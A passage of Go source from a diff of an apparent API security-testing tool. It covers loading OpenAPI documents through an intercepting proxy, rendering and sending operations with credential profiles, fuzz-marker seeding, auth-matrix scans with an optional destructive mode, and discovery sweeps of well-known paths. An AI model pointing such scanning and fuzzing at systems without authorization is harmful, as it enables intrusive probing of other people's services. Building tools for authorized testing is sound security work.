||||
case req.Raw != "":
|
||||
decoded, err := base64.StdEncoding.DecodeString(req.Raw)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid raw base64")
|
||||
return
|
||||
}
|
||||
// A captured response arrives with its headers; a pasted document does
|
||||
// not. Strip a header block only when one is actually present.
|
||||
data = stripHTTPHeaders(decoded)
|
||||
sourceURL = req.URL
|
||||
case req.Text != "":
|
||||
data = []byte(req.Text)
|
||||
sourceURL = req.URL
|
||||
case req.URL != "":
|
||||
fetched, ct, err := s.fetchSpecViaProxy(r, req.URL, req.UserAgent)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadGateway, err.Error())
|
||||
return
|
||||
}
|
||||
data, sourceURL = fetched, req.URL
|
||||
if hint := notADocument(fetched, ct, req.URL); hint != nil {
|
||||
writeJSON(w, http.StatusUnprocessableEntity, hint)
|
||||
return
|
||||
}
|
||||
default:
|
||||
writeError(w, http.StatusBadRequest, "one of raw, text or url is required")
|
||||
return
|
||||
}
|
||||
|
||||
spec, err := apispec.ParseOpenAPI(data, apispec.Options{SourceURL: sourceURL})
|
||||
if err != nil {
|
||||
if hint := notADocument(data, "", sourceURL); hint != nil {
|
||||
writeJSON(w, http.StatusUnprocessableEntity, hint)
|
||||
return
|
||||
}
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
if req.Name != "" {
|
||||
spec.Title = req.Name
|
||||
}
|
||||
|
||||
s.specStore.Put(spec, data)
|
||||
writeJSON(w, http.StatusOK, map[string]any{"spec": spec})
|
||||
}
|
||||
|
||||
// fetchSpecViaProxy retrieves a document through Joro's own proxy, so the fetch
|
||||
// is captured into History, filtered by scope and routed through SOCKS exactly
|
||||
// as browser traffic is — and so the document is recoverable later from History
|
||||
// without re-fetching it.
|
||||
func (s *APIServer) fetchSpecViaProxy(r *http.Request, rawURL, userAgent string) ([]byte, string, error) {
|
||||
u, err := url.Parse(strings.TrimSpace(rawURL))
|
||||
if err != nil || u.Host == "" {
|
||||
return nil, "", fmt.Errorf("could not parse %q as a URL", rawURL)
|
||||
}
|
||||
if u.Scheme != "http" && u.Scheme != "https" {
|
||||
return nil, "", fmt.Errorf("URL scheme must be http or https")
|
||||
}
|
||||
|
||||
target := u.RequestURI()
|
||||
// A load carries no profile, so the tab's User-Agent is the only operator
|
||||
// value there is; UserAgentOr falls back for the first load, which has none.
|
||||
raw := "GET " + target + " HTTP/1.1\r\nHost: " + u.Host + "\r\n" +
|
||||
"User-Agent: " + apispec.UserAgentOr(userAgent) + "\r\n" +
|
||||
"Accept: application/json, text/yaml, application/yaml, */*\r\n\r\n"
|
||||
|
||||
ctx, cancel := context.WithTimeout(r.Context(), 30*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// A document is routinely megabytes, so this send asks for a larger read than
|
||||
// the default, which is sized for fingerprinting a batch.
|
||||
deps := s.specSendDeps()
|
||||
deps.MaxRespBytes = maxSpecFetchBytes
|
||||
res, err := httptools.SendViaProxy(ctx, []byte(raw), u.Scheme, u.Host, deps)
|
||||
if err != nil {
|
||||
return nil, "", fmt.Errorf("fetching the document: %v", err)
|
||||
}
|
||||
|
||||
body := stripHTTPHeaders(res.RespRaw)
|
||||
if res.StatusCode < 200 || res.StatusCode >= 300 {
|
||||
return nil, "", fmt.Errorf("the document URL answered %d", res.StatusCode)
|
||||
}
|
||||
|
||||
// The read is still capped. Past the cap the body is truncated and the parse
|
||||
// fails with a message about malformed YAML, which sends the operator looking
|
||||
// for a problem in the document rather than in how it was fetched.
|
||||
if len(body) >= maxSpecFetchBytes-1024 {
|
||||
return nil, "", fmt.Errorf(
|
||||
"the response was truncated at %d MB, which is the limit for a proxied fetch; "+
|
||||
"download the document and load it from a file instead",
|
||||
maxSpecFetchBytes/(1<<20))
|
||||
}
|
||||
return body, contentTypeOf(res.RespRaw), nil
|
||||
}
|
||||
|
||||
// notADocument builds the hint returned when a URL served something that is not
|
||||
// a description document.
|
||||
//
|
||||
// When the page is an API-documentation UI (Swagger UI and its siblings all
|
||||
// embed or name the document they render), the hint names it and offers the
|
||||
// references it loads from — the most common failure becomes the next action.
|
||||
// A plain HTML page names nothing, so following its own scripts would list the
|
||||
// site's analytics and bundles as if they were documents; it is offered the
|
||||
// well-known document paths to sweep instead. The two are told apart by the
|
||||
// bytes, not assumed from "this is HTML", so neither verdict overclaims.
|
||||
func notADocument(body []byte, contentType, sourceURL string) map[string]any {
|
||||
isHTML := strings.Contains(strings.ToLower(contentType), "text/html") ||
|
||||
apispec.LooksLikeHTMLDocument(body)
|
||||
if !isHTML {
|
||||
return nil
|
||||
}
|
||||
|
||||
if ui := apispec.DetectDocUI(body); ui != "" {
|
||||
candidates := apispec.ExtractSpecRefs(body, sourceURL)
|
||||
if len(candidates) == 0 {
|
||||
candidates = priorityCandidates()
|
||||
}
|
||||
return map[string]any{
|
||||
"error": fmt.Sprintf("that URL served the %s page, not an API description document — these are the paths it loads from", ui),
|
||||
"kind": "html",
|
||||
"ui": ui,
|
||||
"contentType": contentType,
|
||||
"sourceUrl": sourceURL,
|
||||
"candidates": candidates,
|
||||
}
|
||||
}
|
||||
return map[string]any{
|
||||
"error": "that URL served an HTML page, not an API description document — try these well-known document paths on this host",
|
||||
"kind": "html",
|
||||
"ui": "",
|
||||
"contentType": contentType,
|
||||
"sourceUrl": sourceURL,
|
||||
"candidates": priorityCandidates(),
|
||||
}
|
||||
}
|
||||
|
||||
// priorityCandidates is the head of the standard discovery wordlist, offered as
|
||||
// paths to try when a page names no document of its own.
|
||||
func priorityCandidates() []string {
|
||||
var out []string
|
||||
for _, p := range apispec.CandidatePaths("", apispec.CandidatePriority) {
|
||||
out = append(out, p)
|
||||
if len(out) >= 12 {
|
||||
break
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSpecList(w http.ResponseWriter, r *http.Request) {
|
||||
type summary struct {
|
||||
ID string `json:"id"`
|
||||
Title string `json:"title"`
|
||||
Format string `json:"format"`
|
||||
Version string `json:"version"`
|
||||
Operations int `json:"operations"`
|
||||
Servers int `json:"servers"`
|
||||
Diagnostics int `json:"diagnostics"`
|
||||
SourceURL string `json:"sourceUrl,omitempty"`
|
||||
SizeBytes int `json:"sizeBytes"`
|
||||
LoadedAt time.Time `json:"loadedAt"`
|
||||
}
|
||||
stored := s.specStore.List()
|
||||
out := make([]summary, 0, len(stored))
|
||||
for _, sp := range stored {
|
||||
out = append(out, summary{
|
||||
ID: sp.Spec.ID, Title: sp.Spec.Title, Format: string(sp.Spec.Format),
|
||||
Version: sp.Spec.Version, Operations: len(sp.Spec.Operations),
|
||||
Servers: len(sp.Spec.Servers), Diagnostics: len(sp.Spec.Diagnostics),
|
||||
SourceURL: sp.Spec.SourceURL, SizeBytes: sp.Spec.SizeBytes, LoadedAt: sp.LoadedAt,
|
||||
})
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{"specs": out})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSpecGet(w http.ResponseWriter, r *http.Request) {
|
||||
stored := s.specStore.Get(r.PathValue("id"))
|
||||
if stored == nil {
|
||||
writeError(w, http.StatusNotFound, "no such document")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{"spec": stored.Spec})
|
||||
}
|
||||
|
||||
// handleSpecGetSource returns the original bytes. It is a separate endpoint
|
||||
// because a document is routinely megabytes and the operator only occasionally
|
||||
// wants to read it.
|
||||
func (s *APIServer) handleSpecGetSource(w http.ResponseWriter, r *http.Request) {
|
||||
stored := s.specStore.Get(r.PathValue("id"))
|
||||
if stored == nil {
|
||||
writeError(w, http.StatusNotFound, "no such document")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"source": base64.StdEncoding.EncodeToString(stored.Source),
|
||||
})
|
||||
}
|
||||
|
||||
// specPlaceholdersRequest replaces a document's generated values. An absent
|
||||
// field falls back to the default, so clearing one in the UI restores it.
|
||||
type specPlaceholdersRequest struct {
|
||||
Placeholders apispec.Placeholders `json:"placeholders"`
|
||||
}
|
||||
|
||||
// handleSpecSetPlaceholders re-parses a stored document with new placeholders.
|
||||
//
|
||||
// It re-parses rather than patching the Spec in place because a placeholder
|
||||
// reaches body bytes as well as Param.Default, and no patch reaches both. The
|
||||
// spec ID is a hash of the source, so the new parse lands under the same ID and
|
||||
// the auth profiles defined against it survive.
|
||||
//
|
||||
// What the operator typed is untouched: Values outranks Param.Default in Render,
|
||||
// so a hand-edited parameter or body keeps what was entered, including a value
|
||||
// produced from the previous placeholder. An in-flight run is untouched too —
|
||||
// selectOperations copies the operations into the run's Config, so a run renders
|
||||
// the parse it started with.
|
||||
func (s *APIServer) handleSpecSetPlaceholders(w http.ResponseWriter, r *http.Request) {
|
||||
stored := s.specStore.Get(r.PathValue("id"))
|
||||
if stored == nil {
|
||||
writeError(w, http.StatusNotFound, "no such document")
|
||||
return
|
||||
}
|
||||
var req specPlaceholdersRequest
|
||||
if err := decodeJSON(r, &req); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
// Rejected here rather than dropped later: a placeholder can become a header
|
||||
// parameter's value, and writeHeader silently omits a header whose value
|
||||
// carries a control character. The operator would see a missing header with
|
||||
// nothing to explain it.
|
||||
for name, v := range map[string]string{
|
||||
"string": req.Placeholders.String, "date": req.Placeholders.Date,
|
||||
"url": req.Placeholders.URL, "email": req.Placeholders.Email,
|
||||
} {
|
||||
if strings.ContainsAny(v, "\r\n\x00") {
|
||||
writeError(w, http.StatusBadRequest,
|
||||
"the "+name+" placeholder may not contain a newline or a NUL")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
spec, err := apispec.ParseOpenAPI(stored.Source, apispec.Options{
|
||||
SourceURL: stored.Spec.SourceURL,
|
||||
Placeholders: req.Placeholders,
|
||||
})
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
// The operator may have renamed the document on load; a re-parse would
|
||||
// otherwise revert it to the title the document declares.
|
||||
spec.Title = stored.Spec.Title
|
||||
|
||||
s.specStore.Put(spec, stored.Source)
|
||||
writeJSON(w, http.StatusOK, map[string]any{"spec": spec})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSpecDelete(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.specStore.Delete(r.PathValue("id")) {
|
||||
writeError(w, http.StatusNotFound, "no such document")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{"deleted": true})
|
||||
}
|
||||
|
||||
// specRenderRequest asks for the exact bytes one operation would send.
|
||||
type specRenderRequest struct {
|
||||
SpecID string `json:"specId"`
|
||||
OperationID string `json:"operationId"`
|
||||
ServerIndex *int `json:"serverIndex,omitempty"`
|
||||
Scheme string `json:"scheme,omitempty"`
|
||||
Host string `json:"host,omitempty"`
|
||||
BasePath *string `json:"basePath,omitempty"`
|
||||
Values map[string]string `json:"values,omitempty"`
|
||||
ProfileID string `json:"profileId,omitempty"`
|
||||
UserAgent string `json:"userAgent,omitempty"`
|
||||
|
||||
// FuzzParam wraps one parameter's value in FuzzKeyword, for seeding the
|
||||
// fuzzer. It is done here rather than by the client searching the rendered
|
||||
// bytes, because the value may be percent-encoded, may appear more than
|
||||
// once, and may sit inside a JSON body.
|
||||
FuzzParam string `json:"fuzzParam,omitempty"`
|
||||
FuzzKeyword string `json:"fuzzKeyword,omitempty"`
|
||||
|
||||
// Omit names parameters to leave out entirely, by ValueKey. Distinct from an
|
||||
// empty entry in Values, which means "send it empty".
|
||||
Omit []string `json:"omit,omitempty"`
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSpecRender(w http.ResponseWriter, r *http.Request) {
|
||||
var req specRenderRequest
|
||||
if err := decodeJSONLimit(r, &req, maxBulkJSONBody); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
|
||||
op, srv, err := s.resolveOperation(req)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
auth := s.authForProfile(req.SpecID, req.ProfileID)
|
||||
raw, target, err := apispec.Render(op, srv, apispec.Values(req.Values), auth, apispec.RenderOptions{
|
||||
UserAgent: req.UserAgent,
|
||||
FuzzParam: req.FuzzParam,
|
||||
FuzzMarker: req.FuzzKeyword,
|
||||
Omit: omitSet(req.Omit),
|
||||
})
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"raw": base64.StdEncoding.EncodeToString(raw),
|
||||
"scheme": target.Scheme,
|
||||
"host": target.Host,
|
||||
"path": target.Path,
|
||||
})
|
||||
}
|
||||
|
||||
// specSendRequest sends one operation. When the operator has not hand-edited the
|
||||
// bytes the server renders again here rather than trusting a cached render, so a
|
||||
// stale or in-flight preview can never become the request that goes out.
|
||||
type specSendRequest struct {
|
||||
specRenderRequest
|
||||
Raw string `json:"raw,omitempty"` // set only when the operator edited the bytes
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSpecSend(w http.ResponseWriter, r *http.Request) {
|
||||
var req specSendRequest
|
||||
if err := decodeJSONLimit(r, &req, maxBulkJSONBody); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
|
||||
var (
|
||||
raw []byte
|
||||
scheme string
|
||||
host string
|
||||
)
|
||||
|
||||
if req.Raw != "" {
|
||||
decoded, err := base64.StdEncoding.DecodeString(req.Raw)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid raw base64")
|
||||
return
|
||||
}
|
||||
// Edited bytes go out as written. The profile is deliberately NOT applied
|
||||
// on this path: it was already baked in by the render the operator then
|
||||
// edited, and applying it again would duplicate the Authorization header.
|
||||
raw = decoded
|
||||
scheme, host = req.Scheme, req.Host
|
||||
if host == "" {
|
||||
_, srv, err := s.resolveOperationServer(req.specRenderRequest)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
scheme, host = srv.Scheme, srv.Host
|
||||
}
|
||||
} else {
|
||||
op, srv, err := s.resolveOperation(req.specRenderRequest)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
auth := s.authForProfile(req.SpecID, req.ProfileID)
|
||||
rendered, target, err := apispec.Render(op, srv, apispec.Values(req.Values), auth,
|
||||
apispec.RenderOptions{UserAgent: req.UserAgent, Omit: omitSet(req.Omit)})
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
raw, scheme, host = rendered, target.Scheme, target.Host
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(r.Context(), 30*time.Second)
|
||||
defer cancel()
|
||||
|
||||
res, err := httptools.SendViaProxy(ctx, raw, scheme, host, s.specSendDeps())
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadGateway, fmt.Sprintf("sending request: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
fp := httptools.FingerprintResponse(res.Seq, res.RespRaw, res.Duration.Milliseconds(), false)
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"raw": base64.StdEncoding.EncodeToString(raw),
|
||||
"rawResp": base64.StdEncoding.EncodeToString(res.RespRaw),
|
||||
"status": fp.Status,
|
||||
"durationMs": res.Duration.Milliseconds(),
|
||||
"len": fp.Len,
|
||||
"seq": res.Seq,
|
||||
"requestId": res.RequestID,
|
||||
"seqNote": res.SeqNote,
|
||||
"triage": apiscan.TriageOf(fp.Status, ""),
|
||||
"url": scheme + "://" + host,
|
||||
})
|
||||
}
|
||||
|
||||
// specProfilesRequest replaces the profile set for one document.
|
||||
type specProfilesRequest struct {
|
||||
SpecID string `json:"specId"`
|
||||
Profiles []struct {
|
||||
ID string `json:"id"`
|
||||
Label string `json:"label"`
|
||||
Rank int `json:"rank"`
|
||||
Credentials []apispec.Credential `json:"credentials"`
|
||||
Headers []apispec.Header `json:"headers"`
|
||||
Cookies []apispec.Cookie `json:"cookies"`
|
||||
} `json:"profiles"`
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSpecSetProfiles(w http.ResponseWriter, r *http.Request) {
|
||||
var req specProfilesRequest
|
||||
if err := decodeJSON(r, &req); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
if req.SpecID == "" {
|
||||
writeError(w, http.StatusBadRequest, "specId is required")
|
||||
return
|
||||
}
|
||||
if len(req.Profiles) > apiscan.MaxProfiles {
|
||||
writeError(w, http.StatusBadRequest,
|
||||
fmt.Sprintf("%d profiles exceeds the limit of %d", len(req.Profiles), apiscan.MaxProfiles))
|
||||
return
|
||||
}
|
||||
|
||||
profiles := make([]apiscan.Profile, 0, len(req.Profiles))
|
||||
for i, p := range req.Profiles {
|
||||
id := p.ID
|
||||
if id == "" {
|
||||
id = fmt.Sprintf("p%d", i)
|
||||
}
|
||||
profiles = append(profiles, apiscan.Profile{
|
||||
ID: id, Label: p.Label, Rank: p.Rank,
|
||||
Auth: apispec.Auth{Credentials: p.Credentials, Headers: p.Headers, Cookies: p.Cookies},
|
||||
})
|
||||
}
|
||||
s.specStore.SetProfiles(req.SpecID, profiles)
|
||||
writeJSON(w, http.StatusOK, map[string]any{"count": len(profiles)})
|
||||
}
|
||||
|
||||
// handleSpecListProfiles returns profile identity only.
|
||||
//
|
||||
// A credential never comes back out. Token create and rotate are the only
|
||||
// responses in this API that carry a plaintext secret, and an auth profile is
|
||||
// not one of them.
|
||||
func (s *APIServer) handleSpecListProfiles(w http.ResponseWriter, r *http.Request) {
|
||||
specID := r.URL.Query().Get("specId")
|
||||
type summary struct {
|
||||
ID string `json:"id"`
|
||||
Label string `json:"label"`
|
||||
Rank int `json:"rank"`
|
||||
Kinds []string `json:"kinds"`
|
||||
HasValue bool `json:"hasValue"`
|
||||
Headers int `json:"headers"`
|
||||
}
|
||||
profiles := s.specStore.Profiles(specID)
|
||||
out := make([]summary, 0, len(profiles))
|
||||
for _, p := range profiles {
|
||||
sum := summary{ID: p.ID, Label: p.Label, Rank: p.Rank, Headers: len(p.Auth.Headers), Kinds: []string{}}
|
||||
for _, c := range p.Auth.Credentials {
|
||||
sum.Kinds = append(sum.Kinds, string(c.Kind))
|
||||
if c.Value != "" || c.Password != "" {
|
||||
sum.HasValue = true
|
||||
}
|
||||
}
|
||||
out = append(out, sum)
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{"profiles": out})
|
||||
}
|
||||
|
||||
// resolveOperation finds the operation and server a request names.
|
||||
func (s *APIServer) resolveOperation(req specRenderRequest) (*apispec.Operation, apispec.Server, error) {
|
||||
op, srv, err := s.resolveOperationServer(req)
|
||||
if err != nil {
|
||||
return nil, apispec.Server{}, err
|
||||
}
|
||||
if op == nil {
|
||||
return nil, apispec.Server{}, fmt.Errorf("no operation %q in that document", req.OperationID)
|
||||
}
|
||||
return op, srv, nil
|
||||
}
|
||||
|
||||
func (s *APIServer) resolveOperationServer(req specRenderRequest) (*apispec.Operation, apispec.Server, error) {
|
||||
stored := s.specStore.Get(req.SpecID)
|
||||
if stored == nil {
|
||||
return nil, apispec.Server{}, fmt.Errorf("no such document")
|
||||
}
|
||||
|
||||
var op *apispec.Operation
|
||||
for i := range stored.Spec.Operations {
|
||||
if stored.Spec.Operations[i].ID == req.OperationID {
|
||||
op = &stored.Spec.Operations[i]
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
srv := apispec.Server{}
|
||||
idx := 0
|
||||
if req.ServerIndex != nil {
|
||||
idx = *req.ServerIndex
|
||||
}
|
||||
if idx >= 0 && idx < len(stored.Spec.Servers) {
|
||||
srv = stored.Spec.Servers[idx]
|
||||
}
|
||||
// An operation or its path item may override the document's server, which is
|
||||
// how a gateway document addresses several backing services. Honor it only
|
||||
// when the operator has not named a host themselves.
|
||||
if op != nil && len(op.Servers) > 0 && req.Host == "" {
|
||||
srv = op.Servers[0]
|
||||
}
|
||||
// An explicit scheme/host from the operator always wins: a document may
|
||||
// declare none, declare several, or declare one that is wrong.
|
||||
if req.Scheme != "" {
|
||||
srv.Scheme = req.Scheme
|
||||
}
|
||||
if req.Host != "" {
|
||||
srv.Host = req.Host
|
||||
}
|
||||
if req.BasePath != nil {
|
||||
srv.BasePath = *req.BasePath
|
||||
}
|
||||
if srv.Host == "" {
|
||||
return op, srv, fmt.Errorf("no target host: the document declares no server, so one must be supplied")
|
||||
}
|
||||
return op, srv, nil
|
||||
}
|
||||
|
||||
// authForProfile returns what a named profile contributes, or nothing.
|
||||
func (s *APIServer) authForProfile(specID, profileID string) apispec.Auth {
|
||||
if profileID == "" {
|
||||
return apispec.Auth{}
|
||||
}
|
||||
for _, p := range s.specStore.Profiles(specID) {
|
||||
if p.ID == profileID {
|
||||
return p.Auth
|
||||
}
|
||||
}
|
||||
return apispec.Auth{}
|
||||
}
|
||||
|
||||
// specSendDeps assembles what a send needs. Claims is left nil here: these are
|
||||
// single sends. A run fills in its own.
|
||||
func (s *APIServer) specSendDeps() httptools.SendDeps {
|
||||
return httptools.SendDeps{
|
||||
ProxyAddr: fmt.Sprintf("%s:%d", s.cfg.BindAddr, s.cfg.ProxyPort),
|
||||
CA: s.ca,
|
||||
Store: s.store,
|
||||
}
|
||||
}
|
||||
|
||||
// stripHTTPHeaders removes a leading HTTP message header block, so a captured
|
||||
// response can be loaded as a document directly. A body that is not an HTTP
|
||||
// message is returned unchanged.
|
||||
func stripHTTPHeaders(raw []byte) []byte {
|
||||
if !strings.HasPrefix(string(peek(raw, 16)), "HTTP/") {
|
||||
return raw
|
||||
}
|
||||
if i := strings.Index(string(raw), "\r\n\r\n"); i >= 0 {
|
||||
return raw[i+4:]
|
||||
}
|
||||
if i := strings.Index(string(raw), "\n\n"); i >= 0 {
|
||||
return raw[i+2:]
|
||||
}
|
||||
return raw
|
||||
}
|
||||
|
||||
func contentTypeOf(raw []byte) string {
|
||||
head := string(peek(raw, 8192))
|
||||
for _, line := range strings.Split(head, "\n") {
|
||||
if name, value, ok := strings.Cut(line, ":"); ok &&
|
||||
strings.EqualFold(strings.TrimSpace(name), "content-type") {
|
||||
return strings.TrimSpace(value)
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func peek(b []byte, n int) []byte {
|
||||
if len(b) < n {
|
||||
return b
|
||||
}
|
||||
return b[:n]
|
||||
}
|
||||
|
||||
// maxSpecFetchBytes bounds a proxied document fetch. Larger than the default
|
||||
// send cap because the body here is the product, not a fingerprint: GitHub's
|
||||
// description document is 13 MB and Stripe's 3.7 MB, and the 2 MB default
|
||||
// truncated both into a parse error that blamed the document.
|
||||
const maxSpecFetchBytes = 16 << 20
|
||||
|
||||
// omitSet turns the wire's list into the set Render wants.
|
||||
func omitSet(keys []string) map[string]bool {
|
||||
if len(keys) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make(map[string]bool, len(keys))
|
||||
for _, k := range keys {
|
||||
out[k] = true
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,411 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/apiscan"
|
||||
"github.com/BishopFox/joro/internal/apispec"
|
||||
"github.com/BishopFox/joro/internal/event"
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
// specScanRequest starts a scan or an auth matrix. The two differ only in how
|
||||
// many profiles are named — a scan is a matrix with one.
|
||||
type specScanRequest struct {
|
||||
SpecID string `json:"specId"`
|
||||
OperationIDs []string `json:"operationIds"`
|
||||
ProfileIDs []string `json:"profileIds"`
|
||||
|
||||
ServerIndex *int `json:"serverIndex,omitempty"`
|
||||
Scheme string `json:"scheme,omitempty"`
|
||||
Host string `json:"host,omitempty"`
|
||||
BasePath *string `json:"basePath,omitempty"`
|
||||
|
||||
Values map[string]map[string]string `json:"values,omitempty"` // opID -> values
|
||||
|
||||
Concurrency int `json:"concurrency"`
|
||||
RatePerSec float64 `json:"ratePerSec"`
|
||||
TimeoutMs int `json:"timeoutMs"`
|
||||
BudgetMs int `json:"budgetMs"`
|
||||
UserAgent string `json:"userAgent"`
|
||||
|
||||
AllowDestructive bool `json:"allowDestructive"`
|
||||
Methods []string `json:"methods,omitempty"`
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSpecScanStart(w http.ResponseWriter, r *http.Request) {
|
||||
var req specScanRequest
|
||||
if err := decodeJSONLimit(r, &req, maxBulkJSONBody); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
|
||||
stored := s.specStore.Get(req.SpecID)
|
||||
if stored == nil {
|
||||
writeError(w, http.StatusNotFound, "no such document")
|
||||
return
|
||||
}
|
||||
|
||||
ops := selectOperations(stored.Spec, req.OperationIDs)
|
||||
if len(ops) == 0 {
|
||||
writeError(w, http.StatusBadRequest, "no operations selected")
|
||||
return
|
||||
}
|
||||
|
||||
profiles, err := s.selectProfiles(req.SpecID, req.ProfileIDs)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
srv := serverFor(stored.Spec, req.ServerIndex, req.Scheme, req.Host, req.BasePath)
|
||||
if srv.Host == "" {
|
||||
writeError(w, http.StatusBadRequest,
|
||||
"no target host: the document declares no server, so scheme and host must be supplied")
|
||||
return
|
||||
}
|
||||
|
||||
kind := apiscan.KindScan
|
||||
if len(profiles) > 1 {
|
||||
kind = apiscan.KindMatrix
|
||||
}
|
||||
|
||||
values := map[string]apispec.Values{}
|
||||
for opID, v := range req.Values {
|
||||
values[opID] = apispec.Values(v)
|
||||
}
|
||||
|
||||
cfg := apiscan.Config{
|
||||
Kind: kind, SpecID: req.SpecID, Server: srv, Ops: ops, Profiles: profiles, Values: values,
|
||||
Concurrency: req.Concurrency, RatePerSec: req.RatePerSec,
|
||||
TimeoutMs: req.TimeoutMs, BudgetMs: req.BudgetMs, UserAgent: req.UserAgent,
|
||||
AllowDestructive: req.AllowDestructive, Methods: normalizeMethods(req.Methods),
|
||||
}
|
||||
|
||||
total, err := apiscan.Plan(cfg)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
run := apiscan.NewRun(proxy.GenerateID(), cfg, total)
|
||||
s.specRuns.Add(run)
|
||||
|
||||
deps := apiscan.Deps{Send: s.specSendDeps(), Broadcast: s.hub.Broadcast()}
|
||||
go apiscan.Execute(context.Background(), run, deps)
|
||||
|
||||
writeJSON(w, http.StatusCreated, map[string]any{
|
||||
"runId": run.ID, "kind": string(kind), "total": total,
|
||||
"warnings": s.runWarnings(total),
|
||||
})
|
||||
}
|
||||
|
||||
// specDiscoverRequest starts a document sweep against a host.
|
||||
type specDiscoverRequest struct {
|
||||
Scheme string `json:"scheme"`
|
||||
Host string `json:"host"`
|
||||
BasePath string `json:"basePath"`
|
||||
Full bool `json:"full"`
|
||||
StopOnFirst bool `json:"stopOnFirst"`
|
||||
Concurrency int `json:"concurrency"`
|
||||
RatePerSec float64 `json:"ratePerSec"`
|
||||
TimeoutMs int `json:"timeoutMs"`
|
||||
BudgetMs int `json:"budgetMs"`
|
||||
UserAgent string `json:"userAgent"`
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSpecDiscoverStart(w http.ResponseWriter, r *http.Request) {
|
||||
var req specDiscoverRequest
|
||||
if err := decodeJSON(r, &req); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
|
||||
set := apispec.CandidatePriority
|
||||
if req.Full {
|
||||
set = apispec.CandidateFull
|
||||
}
|
||||
cfg := apiscan.Config{
|
||||
Kind: apiscan.KindDiscovery, Scheme: strings.ToLower(req.Scheme), Host: req.Host,
|
||||
BasePath: req.BasePath, CandidateSet: set, StopOnFirst: req.StopOnFirst,
|
||||
Concurrency: req.Concurrency, RatePerSec: req.RatePerSec,
|
||||
TimeoutMs: req.TimeoutMs, BudgetMs: req.BudgetMs, UserAgent: req.UserAgent,
|
||||
}
|
||||
if cfg.Scheme == "" {
|
||||
cfg.Scheme = "https"
|
||||
}
|
||||
|
||||
paths, err := apiscan.PlanDiscovery(cfg)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
run := apiscan.NewRun(proxy.GenerateID(), cfg, len(paths))
|
||||
s.specRuns.Add(run)
|
||||
|
||||
deps := apiscan.Deps{Send: s.specSendDeps(), Broadcast: s.hub.Broadcast()}
|
||||
// A document found mid-sweep is loaded straight into the store, so the
|
||||
// operator can switch to it without a second fetch.
|
||||
//
|
||||
// Only when it is not already held. A sweep parses with default placeholders,
|
||||
// so re-finding bytes the operator has since set a placeholder on would
|
||||
// silently revert their parse under the same ID. If it is already stored,
|
||||
// switching to it already works, which is all this Put was for.
|
||||
onSpec := func(spec *apispec.Spec, source []byte) {
|
||||
if s.specStore.Get(spec.ID) == nil {
|
||||
s.specStore.Put(spec, source)
|
||||
}
|
||||
s.hub.Broadcast() <- event.WSEvent{Type: "spec.run.found", Data: map[string]any{
|
||||
"runId": run.ID, "specId": spec.ID, "title": spec.Title,
|
||||
